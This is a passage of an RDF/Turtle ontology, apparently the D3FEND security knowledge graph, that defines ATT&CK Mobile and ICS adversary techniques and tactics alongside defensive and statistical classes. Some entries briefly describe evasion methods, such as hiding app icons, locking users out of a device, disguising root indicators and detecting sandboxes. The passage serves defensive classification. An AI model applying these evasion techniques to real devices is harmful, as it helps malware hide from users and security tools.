    d3f:definition "Adversaries may use execution guardrails to constrain execution or actions based on adversary supplied and environment specific conditions that are expected to be present on the target. Guardrails ensure that a payload only executes against an intended target and reduces collateral damage from an adversary’s campaign. Values an adversary can provide about a target system or environment to use as guardrails may include environment information such as location.(Citation: SWB Exodus March 2019)" ;
    rdfs:subClassOf d3f:ATTACKMobileDefenseEvasionTechnique ;
    skos:prefLabel "Execution Guardrails" .

d3f:T1627.001 a owl:Class ;
    rdfs:label "Geofencing - ATTACK Mobile" ;
    d3f:attack-id "T1627.001" ;
    d3f:definition "Adversaries may use a device’s geographical location to limit certain malicious behaviors. For example, malware operators may limit the distribution of a second stage payload to certain geographic regions.(Citation: Lookout eSurv)" ;
    rdfs:subClassOf d3f:T1627 ;
    skos:prefLabel "Geofencing" .

d3f:T1628.001 a owl:Class ;
    rdfs:label "Suppress Application Icon - ATTACK Mobile" ;
    d3f:attack-id "T1628.001" ;
    d3f:definition "A malicious application could suppress its icon from being displayed to the user in the application launcher. This hides the fact that it is installed, and can make it more difficult for the user to uninstall the application. Hiding the application's icon programmatically does not require any special permissions." ;
    rdfs:subClassOf d3f:T1628 ;
    skos:prefLabel "Suppress Application Icon" .

d3f:T1628.002 a owl:Class ;
    rdfs:label "User Evasion - ATTACK Mobile" ;
    d3f:attack-id "T1628.002" ;
    d3f:definition "Adversaries may attempt to avoid detection by hiding malicious behavior from the user. By doing this, an adversary’s modifications would most likely remain installed on the device for longer, allowing the adversary to continue to operate on that device." ;
    rdfs:subClassOf d3f:T1628 ;
    skos:prefLabel "User Evasion" .

d3f:T1629.002 a owl:Class ;
    rdfs:label "Device Lockout - ATTACK Mobile" ;
    d3f:attack-id "T1629.002" ;
    d3f:definition "An adversary may seek to inhibit user interaction by locking the legitimate user out of the device. This is typically accomplished by requesting device administrator permissions and then locking the screen using `DevicePolicyManager.lockNow()`. Other novel techniques for locking the user out of the device have been observed, such as showing a persistent overlay, using carefully crafted “call” notification screens, and locking HTML pages in the foreground. These techniques can be very difficult to get around, and typically require booting the device into safe mode to uninstall the malware.(Citation: Microsoft MalLockerB)(Citation: Talos GPlayed)(Citation: securelist rotexy 2018)" ;
    rdfs:subClassOf d3f:T1629 ;
    skos:prefLabel "Device Lockout" .

d3f:T1630.001 a owl:Class ;
    rdfs:label "Uninstall Malicious Application - ATTACK Mobile" ;
    d3f:attack-id "T1630.001" ;
    d3f:definition "Adversaries may include functionality in malware that uninstalls the malicious application from the device. This can be achieved by:" ;
    rdfs:subClassOf d3f:T1630 ;
    skos:prefLabel "Uninstall Malicious Application" .

d3f:T1630.002 a owl:Class ;
    rdfs:label "File Deletion - ATTACK Mobile" ;
    d3f:attack-id "T1630.002" ;
    d3f:definition "Adversaries may wipe a device or delete individual files in order to manipulate external outcomes or hide activity. An application must have administrator access to fully wipe the device, while individual files may not require special permissions to delete depending on their storage location.(Citation: Android DevicePolicyManager 2019)" ;
    rdfs:subClassOf d3f:T1630 ;
    skos:prefLabel "File Deletion" .

d3f:T1630.003 a owl:Class ;
    rdfs:label "Disguise Root/Jailbreak Indicators - ATTACK Mobile" ;
    d3f:attack-id "T1630.003" ;
    d3f:definition "An adversary could use knowledge of the techniques used by security software to evade detection.(Citation: Brodie)(Citation: Tan) For example, some mobile security products perform compromised device detection by searching for particular artifacts such as an installed \"su\" binary, but that check could be evaded by naming the binary something else. Similarly, polymorphic code techniques could be used to evade signature-based detection.(Citation: Rastogi)" ;
    rdfs:subClassOf d3f:T1630 ;
    skos:prefLabel "Disguise Root/Jailbreak Indicators" .

d3f:T1631 a owl:Class ;
    rdfs:label "Process Injection - ATTACK Mobile" ;
    d3f:attack-id "T1631" ;
    d3f:definition "Adversaries may inject code into processes in order to evade process-based defenses or even elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process." ;
    rdfs:subClassOf d3f:ATTACKMobileDefenseEvasionTechnique,
        d3f:ATTACKMobilePrivilegeEscalationTechnique ;
    skos:prefLabel "Process Injection" .

d3f:T1631.001 a owl:Class ;
    rdfs:label "Ptrace System Calls - ATTACK Mobile" ;
    d3f:attack-id "T1631.001" ;
    d3f:definition "Adversaries may inject malicious code into processes via ptrace (process trace) system calls in order to evade process-based defenses as well as possibly elevate privileges. Ptrace system call injection is a method of executing arbitrary code in the address space of a separate live process." ;
    rdfs:subClassOf d3f:T1631 ;
    skos:prefLabel "Ptrace System Calls" .

d3f:T1632 a owl:Class ;
    rdfs:label "Subvert Trust Controls - ATTACK Mobile" ;
    d3f:attack-id "T1632" ;
    d3f:definition "Adversaries may undermine security controls that will either warn users of untrusted activity or prevent execution of untrusted applications. Operating systems and security products may contain mechanisms to identify programs or websites as possessing some level of trust. Examples of such features include: an app being allowed to run because it is signed by a valid code signing certificate; an OS prompt alerting the user that an app came from an untrusted source; or getting an indication that you are about to connect to an untrusted site. The method adversaries use will depend on the specific mechanism they seek to subvert." ;
    rdfs:subClassOf d3f:ATTACKMobileDefenseEvasionTechnique ;
    skos:prefLabel "Subvert Trust Controls" .

d3f:T1632.001 a owl:Class ;
    rdfs:label "Code Signing Policy Modification - ATTACK Mobile" ;
    d3f:attack-id "T1632.001" ;
    d3f:definition "Adversaries may modify code signing policies to enable execution of applications signed with unofficial or unknown keys. Code signing provides a level of authenticity on an app from a developer, guaranteeing that the program has not been tampered with and comes from an official source. Security controls can include enforcement mechanisms to ensure that only valid, signed code can be run on a device." ;
    rdfs:subClassOf d3f:T1632 ;
    skos:prefLabel "Code Signing Policy Modification" .

d3f:T1633 a owl:Class ;
    rdfs:label "Virtualization/Sandbox Evasion - ATTACK Mobile" ;
    d3f:attack-id "T1633" ;
    d3f:definition "Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors after checking for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware’s behavior to disengage from the victim or conceal the core functions of the payload. They may also search for VME artifacts before dropping further payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1633) during automated discovery to shape follow-on behaviors." ;
    rdfs:subClassOf d3f:ATTACKMobileDefenseEvasionTechnique ;
    skos:prefLabel "Virtualization/Sandbox Evasion" .

d3f:T1633.001 a owl:Class ;
    rdfs:label "System Checks - ATTACK Mobile" ;
    d3f:attack-id "T1633.001" ;
    d3f:definition "Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behavior after checking for the presence of artifacts indicative of a virtual environment or sandbox. If the adversary detects a virtual environment, they may alter their malware’s behavior to disengage from the victim or conceal the core functions of the implant. They may also search for virtualization artifacts before dropping secondary or additional payloads." ;
    rdfs:subClassOf d3f:T1633 ;
    skos:prefLabel "System Checks" .

d3f:T1634 a owl:Class ;
    rdfs:label "Credentials from Password Store - ATTACK Mobile" ;
    d3f:attack-id "T1634" ;
    d3f:definition "Adversaries may search common password storage locations to obtain user credentials. Passwords can be stored in several places on a device, depending on the operating system or application holding the credentials. There are also specific applications that store passwords to make it easier for users to manage and maintain. Once credentials are obtained, they can be used to perform lateral movement and access restricted information." ;
    rdfs:subClassOf d3f:ATTACKMobileCredentialAccessTechnique ;
    skos:prefLabel "Credentials from Password Store" .

d3f:T1634.001 a owl:Class ;
    rdfs:label "Keychain - ATTACK Mobile" ;
    d3f:attack-id "T1634.001" ;
    d3f:definition "Adversaries may collect keychain data from an iOS device to acquire credentials. Keychains are the built-in way for iOS to keep track of users' passwords and credentials for many services and features such as Wi-Fi passwords, websites, secure notes, certificates, private keys, and VPN credentials." ;
    rdfs:subClassOf d3f:T1634 ;
    skos:prefLabel "Keychain" .

d3f:T1635 a owl:Class ;
    rdfs:label "Steal Application Access Token - ATTACK Mobile" ;
    d3f:attack-id "T1635" ;
    d3f:definition "Adversaries can steal user application access tokens as a means of acquiring credentials to access remote systems and resources. This can occur through social engineering or URI hijacking and typically requires user action to grant access, such as through a system “Open With” dialogue." ;
    rdfs:subClassOf d3f:ATTACKMobileCredentialAccessTechnique ;
    skos:prefLabel "Steal Application Access Token" .

d3f:T1635.001 a owl:Class ;
    rdfs:label "URI Hijacking - ATTACK Mobile" ;
    d3f:attack-id "T1635.001" ;
    d3f:definition "Adversaries may register Uniform Resource Identifiers (URIs) to intercept sensitive data." ;
    rdfs:subClassOf d3f:T1635 ;
    skos:prefLabel "URI Hijacking" .

d3f:T1636.001 a owl:Class ;
    rdfs:label "Calendar Entries - ATTACK Mobile" ;
    d3f:attack-id "T1636.001" ;
    d3f:definition "Adversaries may utilize standard operating system APIs to gather calendar entry data. On Android, this can be accomplished using the Calendar Content Provider. On iOS, this can be accomplished using the `EventKit` framework." ;
    rdfs:subClassOf d3f:T1636 ;
    skos:prefLabel "Calendar Entries" .

d3f:T1636.002 a owl:Class ;
    rdfs:label "Call Log - ATTACK Mobile" ;
    d3f:attack-id "T1636.002" ;
    d3f:definition "Adversaries may utilize standard operating system APIs to gather call log data. On Android, this can be accomplished using the Call Log Content Provider. iOS provides no standard API to access the call log." ;
    rdfs:subClassOf d3f:T1636 ;
    skos:prefLabel "Call Log" .

d3f:T1636.003 a owl:Class ;
    rdfs:label "Contact List - ATTACK Mobile" ;
    d3f:attack-id "T1636.003" ;
    d3f:definition "Adversaries may utilize standard operating system APIs to gather contact list data. On Android, this can be accomplished using the Contacts Content Provider. On iOS, this can be accomplished using the `Contacts` framework." ;
    rdfs:subClassOf d3f:T1636 ;
    skos:prefLabel "Contact List" .

d3f:T1636.004 a owl:Class ;
    rdfs:label "SMS Messages - ATTACK Mobile" ;
    d3f:attack-id "T1636.004" ;
    d3f:definition "Adversaries may utilize standard operating system APIs to gather SMS messages. On Android, this can be accomplished using the SMS Content Provider. iOS provides no standard API to access SMS messages." ;
    rdfs:subClassOf d3f:T1636 ;
    skos:prefLabel "SMS Messages" .

d3f:T1637 a owl:Class ;
    rdfs:label "Dynamic Resolution - ATTACK Mobile" ;
    d3f:attack-id "T1637" ;
    d3f:definition "Adversaries may dynamically establish connections to command and control infrastructure to evade common detections and remediations. This may be achieved by using malware that shares a common algorithm with the infrastructure the adversary uses to receive the malware's communications. This algorithm can be used to dynamically adjust parameters such as the domain name, IP address, or port number the malware uses for command and control." ;
    rdfs:subClassOf d3f:ATTACKMobileCommandAndControlTechnique ;
    skos:prefLabel "Dynamic Resolution" .

d3f:T1637.001 a owl:Class ;
    rdfs:label "Domain Generation Algorithms - ATTACK Mobile" ;
    d3f:attack-id "T1637.001" ;
    d3f:definition "Adversaries may use [Domain Generation Algorithms](https://attack.mitre.org/techniques/T1637/001) (DGAs) to procedurally generate domain names for uses such as command and control communication   or malicious application distribution.(Citation: securelist rotexy 2018)" ;
    rdfs:subClassOf d3f:T1637 ;
    skos:prefLabel "Domain Generation Algorithms" .

d3f:T1638 a owl:Class ;
    rdfs:label "Adversary-in-the-Middle - ATTACK Mobile" ;
    d3f:attack-id "T1638" ;
    d3f:definition "Adversaries may attempt to position themselves between two or more networked devices to support follow-on behaviors such as [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002) or [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1642)." ;
    rdfs:subClassOf d3f:ATTACKMobileCollectionTechnique ;
    skos:prefLabel "Adversary-in-the-Middle" .

d3f:T1639 a owl:Class ;
    rdfs:label "Exfiltration Over Alternative Protocol - ATTACK Mobile" ;
    d3f:attack-id "T1639" ;
    d3f:definition "Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server." ;
    rdfs:subClassOf d3f:ATTACKMobileExfiltrationTechnique ;
    skos:prefLabel "Exfiltration Over Alternative Protocol" .

d3f:T1641 a owl:Class ;
    rdfs:label "Data Manipulation - ATTACK Mobile" ;
    d3f:attack-id "T1641" ;
    d3f:definition "Adversaries may insert, delete, or alter data in order to manipulate external outcomes or hide activity. By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making." ;
    rdfs:subClassOf d3f:ATTACKMobileImpactTechnique ;
    skos:prefLabel "Data Manipulation" .

d3f:T1641.001 a owl:Class ;
    rdfs:label "Transmitted Data Manipulation - ATTACK Mobile" ;
    d3f:attack-id "T1641.001" ;
    d3f:definition "Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity. By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, or decision making." ;
    rdfs:subClassOf d3f:T1641 ;
    skos:prefLabel "Transmitted Data Manipulation" .

d3f:T1644 a owl:Class ;
    rdfs:label "Out of Band Data - ATTACK Mobile" ;
    d3f:attack-id "T1644" ;
    d3f:definition "Adversaries may communicate with compromised devices using out of band data streams. This could be done for a variety of reasons, including evading network traffic monitoring, as a backup method of command and control, or for data exfiltration if the device is not connected to any Internet-providing networks (i.e. cellular or Wi-Fi). Several out of band data streams exist, such as SMS messages, NFC, and Bluetooth." ;
    rdfs:subClassOf d3f:ATTACKMobileCommandAndControlTechnique ;
    skos:prefLabel "Out of Band Data" .

d3f:T1647 a owl:Class ;
    rdfs:label "Plist File Modification" ;
    d3f:attack-id "T1647" ;
    d3f:definition "Adversaries may modify property list files (plist files) to enable other malicious activity, while also potentially evading and bypassing system defenses. macOS applications use plist files, such as the <code>info.plist</code> file, to store properties and configuration settings that inform the operating system how to handle the application at runtime. Plist files are structured metadata in key-value pairs formatted in XML based on Apple's Core Foundation DTD. Plist files can be saved in text or binary format.(Citation: fileinfo plist file description)" ;
    rdfs:subClassOf d3f:DefenseEvasionTechnique .

d3f:T1655 a owl:Class ;
    rdfs:label "Masquerading - ATTACK Mobile" ;
    d3f:attack-id "T1655" ;
    d3f:definition "Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name, location, or appearance of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names." ;
    rdfs:subClassOf d3f:ATTACKMobileDefenseEvasionTechnique ;
    skos:prefLabel "Masquerading" .

d3f:TA0027 a d3f:OffensiveTactic,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Initial Access - ATTACK Mobile" ;
    rdfs:subClassOf d3f:ATTACKMobileTactic,
        d3f:OffensiveTactic ;
    skos:prefLabel "Initial Access" .

d3f:TA0028 a d3f:OffensiveTactic,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Persistence - ATTACK Mobile" ;
    rdfs:subClassOf d3f:ATTACKMobileTactic,
        d3f:OffensiveTactic ;
    skos:prefLabel "Persistence" .

d3f:TA0029 a d3f:OffensiveTactic,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Privilege Escalation - ATTACK Mobile" ;
    rdfs:subClassOf d3f:ATTACKMobileTactic,
        d3f:OffensiveTactic ;
    skos:prefLabel "Privilege Escalation" .

d3f:TA0030 a d3f:OffensiveTactic,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Defense Evasion - ATTACK Mobile" ;
    rdfs:subClassOf d3f:ATTACKMobileTactic,
        d3f:OffensiveTactic ;
    skos:prefLabel "Defense Evasion" .

d3f:TA0031 a d3f:OffensiveTactic,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Credential Access - ATTACK Mobile" ;
    rdfs:subClassOf d3f:ATTACKMobileTactic,
        d3f:OffensiveTactic ;
    skos:prefLabel "Credential Access" .

d3f:TA0032 a d3f:OffensiveTactic,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Discovery - ATTACK Mobile" ;
    rdfs:subClassOf d3f:ATTACKMobileTactic,
        d3f:OffensiveTactic ;
    skos:prefLabel "Discovery" .

d3f:TA0033 a d3f:OffensiveTactic,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Lateral Movement - ATTACK Mobile" ;
    rdfs:subClassOf d3f:ATTACKMobileTactic,
        d3f:OffensiveTactic ;
    skos:prefLabel "Lateral Movement" .

d3f:TA0034 a d3f:OffensiveTactic,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Impact - ATTACK Mobile" ;
    rdfs:subClassOf d3f:ATTACKMobileTactic,
        d3f:OffensiveTactic ;
    skos:prefLabel "Impact" .

d3f:TA0035 a d3f:OffensiveTactic,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Collection - ATTACK Mobile" ;
    rdfs:subClassOf d3f:ATTACKMobileTactic,
        d3f:OffensiveTactic ;
    skos:prefLabel "Collection" .

d3f:TA0036 a d3f:OffensiveTactic,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Exfiltration - ATTACK Mobile" ;
    rdfs:subClassOf d3f:ATTACKMobileTactic,
        d3f:OffensiveTactic ;
    skos:prefLabel "Exfiltration" .

d3f:TA0037 a d3f:OffensiveTactic,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Command and Control - ATTACK Mobile" ;
    rdfs:subClassOf d3f:ATTACKMobileTactic,
        d3f:OffensiveTactic ;
    skos:prefLabel "Command and Control" .

d3f:TA0041 a d3f:OffensiveTactic,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Execution - ATTACK Mobile" ;
    rdfs:subClassOf d3f:ATTACKMobileTactic,
        d3f:OffensiveTactic .

d3f:TA0100 a d3f:OffensiveTactic,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Collection - ATTACK ICS" ;
    rdfs:subClassOf d3f:ATTACKICSTactic,
        d3f:OffensiveTactic ;
    skos:prefLabel "Collection" .

d3f:TA0101 a d3f:OffensiveTactic,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Command and Control - ATTACK ICS" ;
    rdfs:subClassOf d3f:ATTACKICSTactic,
        d3f:OffensiveTactic ;
    skos:prefLabel "Command and Control" .

d3f:TA0102 a d3f:OffensiveTactic,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Discovery - ATTACK ICS" ;
    rdfs:subClassOf d3f:ATTACKICSTactic,
        d3f:OffensiveTactic ;
    skos:prefLabel "Discovery" .

d3f:TA0103 a d3f:OffensiveTactic,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Evasion - ATTACK ICS" ;
    rdfs:subClassOf d3f:ATTACKICSTactic,
        d3f:OffensiveTactic ;
    skos:prefLabel "Evasion" .

d3f:TA0104 a d3f:OffensiveTactic,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Execution - ATTACK ICS" ;
    rdfs:subClassOf d3f:ATTACKICSTactic,
        d3f:OffensiveTactic ;
    skos:prefLabel "Execution" .

d3f:TA0105 a d3f:OffensiveTactic,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Impact - ATTACK ICS" ;
    rdfs:subClassOf d3f:ATTACKICSTactic,
        d3f:OffensiveTactic ;
    skos:prefLabel "Impact" .

d3f:TA0106 a d3f:OffensiveTactic,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Impair Process Control - ATTACK ICS" ;
    rdfs:subClassOf d3f:ATTACKICSTactic,
        d3f:OffensiveTactic ;
    skos:prefLabel "Impair Process Control" .

d3f:TA0107 a d3f:OffensiveTactic,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Inhibit Response Function - ATTACK ICS" ;
    rdfs:subClassOf d3f:ATTACKICSTactic,
        d3f:OffensiveTactic ;
    skos:prefLabel "Inhibit Response Function" .

d3f:TA0108 a d3f:OffensiveTactic,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Initial Access - ATTACK ICS" ;
    rdfs:subClassOf d3f:ATTACKICSTactic,
        d3f:OffensiveTactic ;
    skos:prefLabel "Initial Access" .

d3f:TA0109 a d3f:OffensiveTactic,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Lateral Movement - ATTACK ICS" ;
    rdfs:subClassOf d3f:ATTACKICSTactic,
        d3f:OffensiveTactic ;
    skos:prefLabel "Lateral Movement" .

d3f:TA0110 a d3f:OffensiveTactic,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Persistence - ATTACK ICS" ;
    rdfs:subClassOf d3f:ATTACKICSTactic,
        d3f:OffensiveTactic ;
    skos:prefLabel "Persistence" .

d3f:TA0111 a d3f:OffensiveTactic,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Privilege Escalation - ATTACK ICS" ;
    rdfs:subClassOf d3f:ATTACKICSTactic,
        d3f:OffensiveTactic ;
    skos:prefLabel "Privilege Escalation" .

d3f:TargetAudience a owl:Class ;
    rdfs:label "Target Audience" ;
    rdfs:subClassOf d3f:AgentGroup .

d3f:TemporalDifferenceLearning a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Temporal Difference Learning" ;
    d3f:d3fend-id "D3A-TDL" ;
    d3f:definition "Temporal difference (TD) learning refers to a class of model-free reinforcement learning methods which learn by bootstrapping from the current estimate of the value function. These methods sample from the environment, like Monte Carlo methods, and perform updates based on current estimates, like dynamic programming methods" ;
    d3f:kb-article """## References
Temporal difference learning. Wikipedia.  [Link](https://en.wikipedia.org/wiki/Temporal_difference_learning).""" ;
    rdfs:comment "Temporal difference (TD) learning refers to a class of model-free reinforcement learning methods which learn by bootstrapping from the current estimate of the value function." ;
    rdfs:subClassOf d3f:Model-freeReinforcementLearning .

d3f:ThinClientComputer a owl:Class ;
    rdfs:label "Thin Client Computer" ;
    d3f:definition "A thin client is a lightweight computer that has been optimized for establishing a remote connection with a server-based computing environment. The server does most of the work, which can include launching software programs, performing calculations, and storing data. This contrasts with a fat client or a conventional personal computer; the former is also intended for working in a client-server model but has significant local processing power, while the latter aims to perform its function mostly locally. Thin clients are shared computers as the thin client's computing resources are provided by a remote server." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Thin_client> ;
    rdfs:subClassOf d3f:SharedComputer .

d3f:TicketGrantingTicket a owl:Class ;
    rdfs:label "Ticket Granting Ticket" ;
    d3f:definition "In some computer security systems, a Ticket Granting Ticket or Ticket to Get Tickets (TGT) is a small, encrypted identification file with a limited validity period. After authentication, this file is granted to a user for data traffic protection by the key distribution center (KDC) subsystem of authentication services such as Kerberos. The TGT file contains the session key, its expiration date, and the user's IP address, which protects the user from man-in-the-middle attacks. The TGT is used to obtain a service ticket from Ticket Granting Service (TGS). User is granted access to network services only after this service ticket is provided." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Ticket_Granting_Ticket> ;
    rdfs:seeAlso <http://dbpedia.org/resource/Charlie_and_the_Chocolate_Factory> ;
    rdfs:subClassOf d3f:AccessToken ;
    skos:altLabel "Golden Ticket" .

d3f:TrimmedMean a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Trimmed Mean" ;
    d3f:d3fend-id "D3A-TM" ;
    d3f:definition "The arithmetic mean of data values after a certain number or proportion of the highest and lowest data values have been discarded." ;
    d3f:kb-article """## References
Wikipedia. (n.d.). Central tendency. [Link](https://en.wikipedia.org/wiki/Central_tendency)""" ;
    d3f:synonym "Truncated mean" ;
    rdfs:subClassOf d3f:CentralTendency .

d3f:TrustStore a owl:Class ;
    rdfs:label "Trust Store" ;
    d3f:definition "Stores public information necessary to determine if another party can be trusted." ;
    rdfs:seeAlso <http://dbpedia.org/resource/Public_key_certificate>,
        <https://www.educative.io/edpresso/keystore-vs-truststore> ;
    rdfs:subClassOf d3f:DigitalInformationBearer .

d3f:TrustedLibrary a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Trusted Library" ;
    d3f:d3fend-id "D3-TL" ;
    d3f:definition "A trusted library is a collection of pre-verified and secure code modules or components that are used within software applications to perform specific functions. These libraries are considered reliable and have been vetted for security vulnerabilities, ensuring they do not introduce risks into the application." ;
    d3f:hardens d3f:Subroutine ;
    d3f:kb-article """## How it Works
Using a trusted library can reduce the chances of introducing errors compared to writing code from scratch.



## Considerations

Note: This resource should not be considered a definitive or exhaustive coding guideline.""" ;
    d3f:kb-reference d3f:Reference-LeverageSecurityFrameworksLibraries_OWASP ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:hardens ;
            owl:someValuesFrom d3f:Subroutine ],
        d3f:SourceCodeHardening .

d3f:UnlockAccount a d3f:UnlockAccount,
        owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Unlock Account" ;
    d3f:d3fend-id "D3-ULA" ;
    d3f:definition "Restoring a user account's access to resources by unlocking a locked User Account." ;
    d3f:kb-reference d3f:Reference-CybersecurityIncidentandVulnerabilityResponsePlaybooks ;
    d3f:restores d3f:UserAccount ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:restores ;
            owl:someValuesFrom d3f:UserAccount ],
        d3f:RestoreUserAccountAccess .

d3f:UserAccountAttachPolicyEvent a owl:Class ;
    rdfs:label "User Account Attach Policy Event" ;
    d3f:definition "An event where an IAM policy is attached to a user account." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:UserAccountCreationEvent ],
        d3f:UserAccountEvent .

d3f:UserAccountEnableEvent a owl:Class ;
    rdfs:label "User Account Enable Event" ;
    d3f:definition "An event where a user account is enabled, granting it active use within the system." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:UserAccountCreationEvent ],
        d3f:UserAccountEvent .

d3f:UserAccountMFAEnableEvent a owl:Class ;
    rdfs:label "User Account MFA Enable Event" ;
    d3f:definition "An event where multi-factor authentication (MFA) is enabled for a user account." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:UserAccountCreationEvent ],
        d3f:UserAccountEvent .

d3f:UtilitySoftware a owl:Class ;
    rdfs:label "Utility Software" ;
    d3f:definition "Utility applications are software applications designed to help to analyze, configure, optimize or maintain a computer. It is used to support the computer infrastructure - in contrast to application software, which is aimed at directly performing tasks that benefit ordinary users. However, utilities often form part of the application systems. For example, a batch job may run user-written code to update a database and may then include a step that runs a utility to back up the database, or a job may run a utility to compress a disk before copying files." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Utility_software> ;
    rdfs:subClassOf d3f:Software ;
    skos:altLabel "Utility Application" .

d3f:VMImage a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Virtual Machine Image" ;
    d3f:contains d3f:SystemStateImage ;
    d3f:definition "A Virtual Machine Image (VMI) is a file that encapsulates the entire state of a virtual machine at a given point in time. This includes the operating system, applications, data, and configurations. VMIs are used to create and replicate virtual machines, ensuring consistency and reliability across different environments." ;
    rdfs:isDefinedBy <https://www.ituonline.com/tech-definitions/what-is-a-virtual-machine-image/> ;
    rdfs:seeAlso <https://dbpedia.org/resource/Virtual_machine_image> ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:contains ;
            owl:someValuesFrom d3f:SystemStateImage ],
        d3f:StorageImage ;
    skos:altLabel "VM Image" .

d3f:VariableTypeValidation a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Variable Type Validation" ;
    d3f:d3fend-id "D3-VTV" ;
    d3f:definition "Ensuring that a variable has the correct type." ;
    d3f:hardens d3f:PointerDereferencingFunction ;
    d3f:kb-article """## How it Works
A developer should consider how the variable will be used throughout the program and choose the correct variable type.
A developer should programmatically check if a variable has the correct (expected) type before using that variable.

## Considerations
* The result of an operation on an unexpected variable type will vary based on the language.
* Note: This resource should not be considered a definitive or exhaustive coding guideline.""" ;
    d3f:kb-reference d3f:Reference-TypeSystems_Princeton ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:hardens ;
            owl:someValuesFrom d3f:PointerDereferencingFunction ],
        d3f:SourceCodeHardening .

d3f:Variance a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Variance" ;
    d3f:d3fend-id "D3A-VAR" ;
    d3f:definition "Variance is a measure of dispersion, meaning it is a measure of how far a set of numbers is spread out from their average value." ;
    d3f:kb-article """## References
Wikipedia. (n.d.). Variance. [Link](https://en.wikipedia.org/wiki/Variance)""" ;
    rdfs:subClassOf d3f:Variability .

d3f:VirtualMemorySpace a owl:Class ;
    rdfs:label "Virtual Memory Space" ;
    d3f:definition "Virtual memory is a memory management technique where secondary memory can be used as if it were a part of the main memory. Virtual memory uses hardware and software to enable a computer to compensate for physical memory shortages" ;
    rdfs:isDefinedBy <https://whatis.techtarget.com/definition/memory> ;
    rdfs:seeAlso <https://dbpedia.org/page/Virtual_memory> ;
    rdfs:subClassOf d3f:MemoryAddressSpace .

d3f:WebAuthentication a owl:Class ;
    rdfs:label "Web Authentication" ;
    d3f:definition "A request-response comprising a user credential presentation to a system and a verification response where the verifying party is a web server." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:may-create ;
            owl:someValuesFrom d3f:SessionCookie ],
        d3f:Authentication .

d3f:WeightedMean a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Weighted Mean" ;
    d3f:d3fend-id "D3A-WM" ;
    d3f:definition "A mean that incorporates weighting to certain data elements." ;
    d3f:kb-article """## Considerations
The arithmetic mean, geometric mean, and harmonic mean can all be weighted.

## References
Wikipedia. (n.d.). Central tendency. [Link](https://en.wikipedia.org/wiki/Central_tendency)""" ;
    rdfs:subClassOf d3f:CentralTendency .

d3f:WideAreaNetwork a owl:Class ;
    rdfs:label "Wide Area Network" ;
    d3f:definition "By contrast to a local area network (LAN), a wide area network (WAN), not only covers a larger geographic distance, but also generally involves leased telecommunication circuits or Internet links." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Local_area_network> ;
    rdfs:subClassOf d3f:Network ;
    skos:altLabel "WAN" .

d3f:WindowsRegistryKeyImportEvent a owl:Class ;
    rdfs:label "Windows Registry Key Import Event" ;
    d3f:definition "An event where registry key data is imported into the Windows Registry from an external source." ;
